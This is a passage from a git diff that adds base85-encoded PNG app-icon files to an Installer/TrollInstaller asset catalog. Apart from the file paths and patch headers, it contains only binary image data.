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 literal 0 HcmV?d00001 diff --git a/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png b/Installer/TrollInstaller/TrollInstaller/Assets.xcassets/AppIcon.appiconset/120.png new file mode 100644 index 0000000000000000000000000000000000000000..c2213d4047658a341713621849122a3c33fecede GIT binary patch literal 15176 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 